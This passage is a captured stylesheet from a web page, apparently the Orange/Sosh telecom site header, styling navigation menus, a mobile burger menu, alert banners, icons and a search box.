.sosh.navigation .nav-list .nav-item .dropdown-item-link:focus-visible, .sosh.navigation .nav-list .nav-item .dropdown-item-link:focus-visible span, .sosh.navigation .nav-list .nav-item .dropdown-item-link:hover, .sosh.navigation .nav-list .nav-item .dropdown-item-link:hover span, .sosh.navigation .events .event[aria-expanded="true"], .sosh.navigation .events .event[aria-expanded="true"] span, .sosh.navigation .events .event:active, .sosh.navigation .events .event:active span, .sosh.navigation .events .event:focus-visible, .sosh.navigation .events .event:focus-visible span, .sosh.navigation .events .event:hover, .sosh.navigation .events .event:hover span { font-weight: 700; } .sosh.navigation .nav-list .nav-item .mega-menu-button:focus-visible, .sosh.navigation .nav-list .nav-item .dropdown-item-link:focus-visible, .sosh.navigation .events .event:focus-visible { outline-color: rgb(0, 121, 128) !important; } .sosh.navigation .nav-list .nav-item .mega-menu-button, .sosh.navigation .nav-list .nav-item .dropdown-item-link { background: none; } .sosh.navigation .nav-list { display: flex; width: 100%; padding-top: 0px; padding-bottom: 0px; margin: 0px; list-style: none; gap: 0.625em; } .sosh.navigation .nav-list:not(.dropdown) { padding: 0px; } .sosh.navigation .nav-list .nav-item { margin: 0px; transition: margin 0.3s ease-in-out; } .sosh.navigation .nav-list .nav-item[aria-expanded="true"] { margin-bottom: 3.125em; } .sosh.navigation .nav-list .nav-item.hidden-dropdown { margin-bottom: 0px; } .sosh.navigation .nav-list .nav-item.hidden-dropdown .nav-list.dropdown { display: none !important; } .sosh.navigation .nav-list .nav-item .dropdown-item-link { flex-direction: column; justify-content: center; color: rgb(255, 255, 255); outline: none; outline-offset: -3px !important; transition: outline-offset 0.15s ease-in-out !important; } .sosh.navigation .nav-list .nav-item .dropdown-item-link:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -7px !important; } @media (max-width: 60em) { .sosh.navigation .nav-list .nav-item .dropdown-item-link { padding: 0px 0.3125em; } } .sosh.navigation .nav-list .nav-item .dropdown-item-link:active, .sosh.navigation .nav-list .nav-item .dropdown-item-link:focus-visible, .sosh.navigation .nav-list .nav-item .dropdown-item-link:hover, .sosh.navigation .nav-list .nav-item .dropdown-item-link.url-match { color: rgb(255, 255, 255); box-shadow: rgb(0, 0, 0) 1.625em 0px 0px 0px inset, rgb(0, 0, 0) -1.625em 0px 0px 0px inset, rgb(38, 130, 142) 0px -0.3125em 0px 0px inset; } .sosh.navigation .nav-list .nav-item .mega-menu-button { position: relative; height: 3.125em; flex-direction: column; } .sosh.navigation .nav-list .nav-item .mega-menu-button + .dropdown.nav-list { height: 0px; transition: height 0.3s ease-in-out; background: rgb(0, 0, 0); position: absolute; left: 0px; right: 0px; top: 3.125em; } .sosh.navigation .nav-list .nav-item .mega-menu-button + .dropdown.nav-list a { visibility: hidden; } .sosh.navigation .nav-list .nav-item .mega-menu-button[aria-expanded="true"]::after { position: absolute; top: 100%; left: 50%; z-index: 1; content: ""; border-width: 10px; border-style: solid; border-color: rgba(0, 0, 0, 0) rgba(0, 0, 0, 0) rgb(255, 255, 255); border-image: none; transform: rotate(180deg) translateX(50%) translateY(5%); } .sosh.navigation .nav-list .nav-item .mega-menu-button[aria-expanded="true"] + .dropdown.nav-list { height: 3.125em; } .sosh.navigation .nav-list .nav-item .mega-menu-button[aria-expanded="true"] + .dropdown.nav-list a { visibility: visible; } .sosh.navigation .nav-list .nav-item span.text-content { display: flex; height: 100%; line-height: 100%; align-items: center; } .sosh.navigation .nav-list .nav-item span.keep-size { display: block; color: rgb(255, 0, 255); font-weight: bold; visibility: hidden; overflow: hidden; height: 0px; } .sosh.navigation .mobile-navigation-menu ul { list-style: none; padding: 0px; margin: 0px; } .sosh.navigation .mobile-navigation-menu:not(.is-open) * { display: none; } .sosh.navigation .mobile-navigation-menu.is-open .mobile-navigation-content { transform: translateX(0px); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content { display: flex; transform: translateX(-100%); transition: transform 0.3s; position: fixed; top: var(--top-offset); bottom: 0px; background-color: rgb(20, 20, 20); border-top: 1px solid rgb(85, 85, 85); border-right: 1px solid rgb(85, 85, 85); color: rgb(255, 255, 255); z-index: 99980; left: 0px; width: 22.5em; overflow: hidden; } @media screen and (max-width: 30em) { .sosh.navigation .mobile-navigation-menu .mobile-navigation-content { width: 100%; } } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel { flex: 0 0 100%; overflow-y: auto; transition: transform 0.3s; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel > * { display: block; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel a { font-size: 0.875em; padding: 1.07143em; font-weight: 700; text-decoration: none; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel .link-back { display: flex; padding: 0.9375em; border-bottom: 1px solid rgb(85, 85, 85); outline: none; outline-offset: -2px !important; transition: outline-offset 0.15s ease-in-out !important; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel .link-back:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -6px !important; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel .link-back::before { font-size: 1.25em; transform: rotate(180deg); color: rgb(241, 110, 0); padding-right: 0.3125em; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel .title { display: block; font-size: 0.875em; font-weight: 700; padding: 1.07143em; color: rgb(241, 110, 0); border-bottom: 1px solid rgb(85, 85, 85); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-1, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-2, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-3 { display: flex; flex: 0 0 100%; overflow: hidden auto; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-2 .level-panel { transform: translateX(-100%); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-3 .level-panel { transform: translateX(-200%); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mega-menu-links { background-color: rgb(0, 0, 0); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mega-menu-links a { border-top: 1px solid rgb(85, 85, 85); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mega-menu-links a.icon::before { font-size: 1.42857em; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher { display: flex; flex-wrap: wrap; justify-content: space-around; gap: 0.9375em; padding: 0.9375em; background-color: rgb(20, 20, 20); border-top: 1px solid rgb(51, 51, 51); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher > * { display: flex; padding: 0.9375em; box-sizing: border-box; width: calc(50% - 0.9375em); align-items: center; justify-content: left; border: 1px solid rgb(51, 51, 51); } @media (max-width: 20.3125em) { .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher > * { width: 100%; } } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher > * > i.icon { font-size: 1.2em; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-bottom-links a { display: flex; padding: 0.357143em; margin: 0.714286em; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events { margin-right: auto; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event { padding: 0.3125em; color: rgb(241, 110, 0); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event:hover, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event:focus, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event:focus-visible { color: rgb(255, 255, 255); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event span { display: inline-block; font-size: 0.875em; height: 1.42857em; line-height: 1.42857em; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events { background-color: rgb(0, 0, 0); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events .event { border-top: 1px solid rgb(85, 85, 85); font-size: 1em; padding: 0.875em; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher a, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-bottom-links a { gap: 6px; position: relative; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher a .icon::before, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-bottom-links a .icon::before { margin-top: 3px; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher a .badge, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-bottom-links a .badge { right: unset; transform: scale(0.85); top: 0.5em; left: 1.5em; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel { display: none; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel.is-selected { display: unset; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel .section-link { border-bottom: 1px solid rgb(85, 85, 85); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel .section-link .icon { font-size: 1.5em; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel .bottom-link { padding: 0.9375em; display: flex; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .panel { display: none; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .panel.is-selected { display: unset; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category { border-bottom: 1px solid rgb(85, 85, 85); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category h3 { margin: 0px; font-size: 0.875em; padding: 0.9375em; font-weight: 700; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category ul { margin: 0px; padding: 0px; list-style-type: none; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category ul li a { font-weight: normal; padding: 0.75em 0.9375em; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category ul li a.badge-new::after { display: inline-block; font-size: 0.75em; font-weight: bold; content: "NEW"; padding: 0em 0.3125em; background-color: rgb(255, 255, 255); color: rgb(0, 0, 0); margin-left: 0.3125em; position: relative; top: -0.1875em; text-decoration: none; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content { background-color: rgb(255, 255, 255); display: flex; flex-direction: column; width: 100%; overflow-y: auto; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header { display: flex; height: 3.75em; background: rgb(38, 130, 142); justify-content: space-between; align-items: center; padding: 0px 0.9375em; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header * { color: rgb(255, 255, 255); outline: none; transition: outline-offset 0.15s ease-in-out !important; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header :focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 0px !important; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close { display: flex; align-items: center; justify-content: center; height: 2.5em; font-weight: 700; padding: 0px 0.375em 0px 2.1875em; border: 0px; background: none; position: relative; cursor: pointer; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close::before, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close::after { position: absolute; top: 50%; left: 0.9375em; width: 0.125em; height: 1.5625em; content: " "; background-color: rgb(255, 255, 255); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close::before { transform: translateY(-50%) rotate(45deg); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close::after { transform: translateY(-50%) rotate(-45deg); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:hover, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:hover::before, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:hover::after, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus::before, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus::after, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:active, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:active::before, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:active::after, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus-visible, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus-visible::before, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus-visible::after { color: rgb(238, 238, 238); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .logo { padding: 0px 0.5em; margin: 0px 0px 0px auto; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .events .event { width: 100%; padding: 0px 0.625em 0px 1.25em; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .events .event::after { position: absolute; right: 1.25em; color: rgb(222, 37, 84); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .events .event span { display: flex; position: relative; align-items: center; min-height: 3.5625em; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button { display: flex; position: relative; color: rgb(0, 0, 0); font-size: 0.875em; align-items: center; width: 100%; min-height: 4.07143em; padding: 0px 0.357143em 0px 1.42857em; font-weight: 700; text-align: left; text-decoration: none; cursor: pointer; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button::before { position: absolute; top: 50%; right: 20px; padding: 3px; content: ""; border-style: solid; border-color: rgb(204, 204, 204); border-image: none; border-width: 0px 2px 2px 0px; transform: translateY(-50%) rotate(45deg); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:hover, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:active, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button[aria-expanded="true"] { background-color: rgb(238, 238, 238); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:hover::before, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:active::before, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button[aria-expanded="true"]::before { transform: rotate(-135deg); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:focus-visible { outline-color: rgb(0, 121, 128) !important; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:not([aria-expanded="true"]) + .items { display: none; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .items { background: rgb(238, 238, 238); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .items .item .item-link { display: block; min-height: 2.85714em; padding: 0px 0.357143em 0px 1.78571em; font-size: 0.875em; line-height: 2.85714em; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .items .item .item-link:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .items .item .item-link:focus-visible { outline-color: rgb(0, 121, 128) !important; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .mobile-bottom-links { border-top: 0.1875em solid rgb(238, 238, 238); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .mobile-bottom-links a { font-size: 0.875em; display: flex; align-items: center; min-height: 2.85714em; padding: 0px 0.357143em 0px 1.42857em; line-height: 2.85714em; outline-offset: 0px; font-weight: 700; color: rgb(0, 0, 0); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .mobile-bottom-links a:focus-visible { outline-color: rgb(0, 121, 128) !important; outline-offset: -0.25em !important; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .mobile-bottom-links a i { font-size: 1.71429em; padding-right: 0.3em; } @media (max-width: 64em) { .sosh.navigation { min-height: 0px; z-index: 10000000; border-bottom: 0px; } } .band.service { position: relative; background-color: rgb(255, 255, 255); color: rgb(0, 0, 0); } @media (max-width: 64em) { .band.service { padding: 0.3125em; border-bottom: 0.0625em solid rgb(221, 221, 221); } } @media screen and (min-width: 64em) { .band.service { min-height: 6.875em; display: flex; justify-content: space-between; align-items: center; } } .band.service h1 { margin: 0.1875em auto 0.1875em 0.3125em; font-size: 1.5em; line-height: 1.5em; } @media screen and (min-width: 64em) { .band.service h1 { margin: 0px; font-size: 2.125em; } } @media screen and (min-width: 80em) { .band.service h1 { font-size: 2.625em; } } .band.service h1 a { font-size: inherit; color: rgb(0, 0, 0); text-decoration: none; } .band.service h1 a:visited { color: rgb(0, 0, 0); } .band.service h1 a:hover, .band.service h1 a:active, .band.service h1 a:focus { text-decoration: none; } .band.bandeau-alerte { display: flex; color: rgb(0, 0, 0); font-size: 1em; padding-top: 10px; padding-bottom: 10px; z-index: 99980; } .band.bandeau-alerte .icon-wrapper { display: flex; align-items: center; width: 2em; min-height: 2em; padding-right: 0.9375em; } @media (max-width: 48em) { .band.bandeau-alerte .icon-wrapper { align-items: flex-start; } } .band.bandeau-alerte .icon-wrapper .icon { font-size: 2em; display: inline-block; } .band.bandeau-alerte .message-wrapper { display: flex; align-items: center; padding: 0px; } .band.bandeau-alerte .message-wrapper p { margin: 0px; } .band.bandeau-alerte .message-wrapper p .description { padding-left: 0.3em; margin-right: 0.5em; } .band.bandeau-alerte .message-wrapper p .click-to-action { display: inline-flex; flex-wrap: nowrap; color: rgb(0, 0, 0); font-weight: bold; text-decoration: underline; } .band.bandeau-alerte .close-button-wrapper { display: flex; align-items: center; padding-left: 1em; margin-left: auto; } @media (max-width: 48em) { .band.bandeau-alerte .close-button-wrapper { align-items: flex-start; } } .band.bandeau-alerte .close-button-wrapper .close-button { font-size: 1.25em; padding: 0px 0px 0px 0.4375em; background: none; border: medium; cursor: pointer; outline: none; outline-offset: 4px !important; transition: outline-offset 0.15s ease-in-out !important; } .band.bandeau-alerte .close-button-wrapper .close-button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 0px !important; } .band.bandeau-alerte .close-button-wrapper .close-button:hover { color: rgb(85, 85, 85); } .band.bandeau-alerte, .band.bandeau-alerte.alert { background: rgb(253, 229, 230); } .band.bandeau-alerte .icon-wrapper .icon, .band.bandeau-alerte.alert .icon-wrapper .icon { color: rgb(231, 0, 2); } .band.bandeau-alerte.attention { background: rgb(255, 250, 231); } .band.bandeau-alerte.attention .icon-wrapper .icon { color: rgb(255, 205, 11); } .band.bandeau-alerte.success { background: rgb(236, 253, 239); } .band.bandeau-alerte.success .icon-wrapper .icon { color: rgb(61, 227, 90); } .band.bandeau-alerte.info { background: rgb(233, 248, 255); } .band.bandeau-alerte.info .icon-wrapper .icon { color: rgb(38, 178, 255); } .band.bandeau-alerte.neutral { background: rgb(244, 244, 244); } .band.bandeau-alerte.neutral .icon-wrapper .icon { color: rgb(0, 0, 0); } .band a.logo { height: auto; width: auto; display: inline-flex; text-align: center; align-items: center; justify-content: center; padding: 0px; font-size: inherit; } .band a.logo img { display: block; min-height: 1.875em; width: auto; min-width: 1.875em; margin: 0px; } .band a.logo:focus-visible { outline: rgb(255, 255, 255) solid 0.125em !important; outline-offset: 0.25em !important; } .band.gp a.logo img.small { height: 1.875em; } .band.gp a.logo img.large { height: 3.125em; } .band.sosh a.logo { margin-top: 0px; margin-bottom: 0px; padding: 0px 8px; } .band.sosh a.logo img { height: 3.0625em; } @media (max-width: 64em) { .band.sosh a.logo { margin: auto; } }" data-scrapbook-adoptedstylesheet-2=".screen-reader-only { position: absolute; padding: 0px; overflow: hidden; clip: rect(0px, 0px, 0px, 0px); white-space: nowrap; border: 0px; font-size: 0.01px; } .hidden { display: none !important; } body.une-arche elcos-header, body.une-arche elcos-footer-zone { --body-has-arch: 1 ; } elcos-header { --mobile-phone-portrait-breakpoint: 30em; --mobile-768-breakpoint: 48em; --mobile-breakpoint: 64em; --tiny-desktop-1100-breakpoint: 68.75em; --small-desktop-1280-breakpoint: 80em; } .gp :focus-visible { outline-color: rgb(241, 110, 0) !important; } .sosh :focus-visible { outline-color: rgb(255, 255, 255) !important; } @font-face { font-family: "o-HelveticaNeue"; src: url("HelvNeue55_W1G.eot") format("embedded-opentype"), url("HelvNeue55_W1G.woff2") format("woff2"), url("HelvNeue55_W1G.woff") format("woff"), url("HelvNeue55_W1G.ttf") format("truetype"), url("HelvNeue55_W1G.svg") format("svg"); font-style: normal; font-weight: normal; font-display: swap; } @font-face { font-family: "o-HelveticaNeue"; src: url("HelvNeue75_W1G.eot") format("embedded-opentype"), url("HelvNeue75_W1G.woff2") format("woff2"), url("HelvNeue75_W1G.woff") format("woff"), url("HelvNeue75_W1G.ttf") format("truetype"), url("HelvNeue75_W1G.svg") format("svg"); font-style: normal; font-weight: bold; font-display: swap; } @font-face { font-family: "Sosh Medium"; src: url("") format("woff2"), url("") format("woff"); font-style: normal; font-weight: 400; } @font-face { font-family: "Sosh Medium"; src: url("") format("woff2"), url("") format("woff"); font-style: normal; font-weight: 700; } @font-face { font-family: "Sosh Bold"; src: url("") format("woff2"), url("") format("woff"); font-style: normal; font-weight: 700; } .sosh * { font-family: "Sosh Medium", Arial, sans-serif; font-weight: 400; } .icon.logo-orange-small::before { content: ""; background-image: url(""); width: 1.125em; height: 1.125em; background-repeat: no-repeat; } @font-face { font-family: "elcos-embedded-icons"; src: url("") format("woff"); font-style: normal; font-weight: normal; } .icon::before, .icon::after { font-family: "elcos-embedded-icons"; font-style: normal; font-weight: normal; display: inline-block; width: 1em; text-align: center; font-variant: normal; text-transform: none; -moz-osx-font-smoothing: grayscale; } .icon::before { content: var(--icon); } .icon.after::before { content: none; } .icon.after::before { content: none; } .icon.after::after { content: var(--icon); } .icon.arrow-right { --icon: ""; } .icon.confirmation-tick { --icon: ""; } .icon.error { --icon: ""; } .icon.info { --icon: ""; } .icon.warning { --icon: ""; } .gp .icon.accessibilite { --icon: ""; } .gp .icon.accessories { --icon: ""; } .gp .icon.assistance { --icon: ""; } .gp .icon.avantage-client { --icon: ""; } .gp .icon.avatar { --icon: ""; } .gp .icon.bons-plans { --icon: ""; } .gp .icon.boutique { --icon: ""; } .gp .icon.burger { --icon: ""; } .gp .icon.bvld { --icon: ""; } .gp .icon.calendar { --icon: ""; } .gp .icon.contact { --icon: ""; } .gp .icon.contacts { --icon: ""; } .gp .icon.contrat { --icon: ""; } .gp .icon.delete { --icon: ""; } .gp .icon.equipement-tv { --icon: ""; } .gp .icon.exit { --icon: ""; } .gp .icon.facebook { --icon: ""; } .gp .icon.fibre { --icon: ""; } .gp .icon.forum { --icon: ""; } .gp .icon.instagram { --icon: ""; } .gp .icon.internet { --icon: ""; } .gp .icon.keypad { --icon: ""; } .gp .icon.link { --icon: ""; } .gp .icon.linkedin { --icon: ""; } .gp .icon.livebox { --icon: ""; } .gp .icon.livraison { --icon: ""; } .gp .icon.mail { --icon: ""; } .gp .icon.maison-protegee { --icon: ""; } .gp .icon.manette { --icon: ""; } .gp .icon.moment-de-vie { --icon: ""; } .gp .icon.musique { --icon: ""; } .gp .icon.news { --icon: ""; } .gp .icon.notification { --icon: ""; } .gp .icon.options { --icon: ""; } .gp .icon.orange-accompagne { --icon: ""; } .gp .icon.parametre { --icon: ""; } .gp .icon.parental-control { --icon: ""; } .gp .icon.payement2 { --icon: ""; } .gp .icon.payment { --icon: ""; } .gp .icon.phone-sim { --icon: ""; } .gp .icon.phone { --icon: ""; } .gp .icon.pin-geoloc { --icon: ""; } .gp .icon.pinterest { --icon: ""; } .gp .icon.replay { --icon: ""; } .gp .icon.reseaux { --icon: ""; } .gp .icon.retour { --icon: ""; } .gp .icon.search { --icon: ""; } .gp .icon.securite { --icon: ""; } .gp .icon.service5g { --icon: ""; } .gp .icon.sim { --icon: ""; } .gp .icon.svod { --icon: ""; } .gp .icon.telephone { --icon: ""; } .gp .icon.tiktok { --icon: ""; } .gp .icon.tv { --icon: ""; } .gp .icon.vod { --icon: ""; } .gp .icon.voicemail { --icon: ""; } .gp .icon.x-com { --icon: ""; } .gp .icon.youtube { --icon: ""; } .sosh .icon.aide { --icon: ""; } .sosh .icon.avatar { --icon: ""; } .sosh .icon.burger { --icon: ""; } .sosh .icon.camion { --icon: ""; } .sosh .icon.chevron-double { --icon: ""; } .sosh .icon.cloche { --icon: ""; } .sosh .icon.deconnexion { --icon: ""; } .sosh .icon.delete { --icon: ""; } .sosh .icon.double-underline { --icon: ""; } .sosh .icon.facture { --icon: ""; } .sosh .icon.sim { --icon: ""; } .button-comp { padding: 9px 20px 5px; cursor: pointer; text-decoration: none; white-space: nowrap; color: rgb(255, 255, 255); border: 2px solid rgb(255, 255, 255); background-color: rgb(0, 0, 0); font-size: inherit; font-weight: inherit; outline: none; outline-offset: 4px !important; transition: outline-offset 0.15s ease-in-out !important; } .button-comp:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 0px !important; } .button-comp:active { color: rgb(0, 0, 0); outline: none; background-color: rgb(255, 255, 255); } button.as-link { border: medium; background: unset; padding: 0px; font-family: inherit; } a, button.as-link { display: inline-block; clear: both; cursor: pointer; text-decoration: none; color: rgb(255, 255, 255); outline: none; outline-offset: 6px !important; transition: outline-offset 0.15s ease-in-out !important; } a.sosh, button.as-link.sosh { color: rgb(0, 0, 0); } a:focus-visible, button.as-link:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 2px !important; } a:hover, a:focus-visible, button.as-link:hover, button.as-link:focus-visible { text-decoration: underline; color: rgb(204, 204, 204); } a:hover.sosh, a:focus-visible.sosh, button.as-link:hover.sosh, button.as-link:focus-visible.sosh { color: rgb(0, 121, 128); text-decoration: none; font-weight: 700; } a:active, button.as-link:active { text-decoration: underline; color: rgb(241, 110, 0); } a:active.sosh, button.as-link:active.sosh { color: rgb(38, 130, 142); } a em, button.as-link em { color: rgb(255, 121, 0); font-style: normal; } a.link-icon-text { font-size: 1em; font-weight: 700; } a.link-icon-text::before { margin-right: 0.375em; vertical-align: middle; font-size: 1.875em; } i { font-style: normal; } .mobile-search-toggle:not([aria-expanded="true"]) + .morpheus-search { display: none; } .morpheus-search { font-family: "o-HelveticaNeue", Helvetica, Arial, sans-serif; color: rgb(255, 255, 255); margin: 0px; padding: 0.9375em; background: rgb(0, 0, 0); border: medium; width: 19.25em; } .morpheus-search.mobile { position: absolute; left: 0px; right: 0px; top: 100%; width: 100%; z-index: 9999; padding: 0px; } .morpheus-search form { position: relative; display: flex; align-items: center; background: rgba(255, 255, 255, 0.1); height: 2.375em; border-bottom: 1px solid rgb(255, 255, 255); } .morpheus-search form .before { pointer-events: none; position: absolute; left: 0.9375em; } .morpheus-search form .before::before { font-size: 1.0625em; } .morpheus-search form button { display: none; position: absolute; right: 0px; border: 0px; padding: 0px; width: 1.125em; height: 1.125em; cursor: pointer; background: none; color: rgb(204, 204, 204); outline: none; outline-offset: 8px !important; transition: outline-offset 0.15s ease-in-out !important; } .morpheus-search form button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 4px !important; } .morpheus-search form button[type="submit"] { right: 1.25em; } .morpheus-search form button i::before { font-size: 1.125em; } .morpheus-search form .search-input { font-family: inherit; font-size: 0.875em; background: none; border: 0px; height: 100%; width: 100%; color: rgb(255, 255, 255); outline: none !important; cursor: text; padding: 0px 0px 0px 3.35714em; } .morpheus-search form .search-input::placeholder { color: rgb(204, 204, 204); font-weight: 400; opacity: 1; } .morpheus-search form button[type="reset"], .morpheus-search form button[type="submit"] { 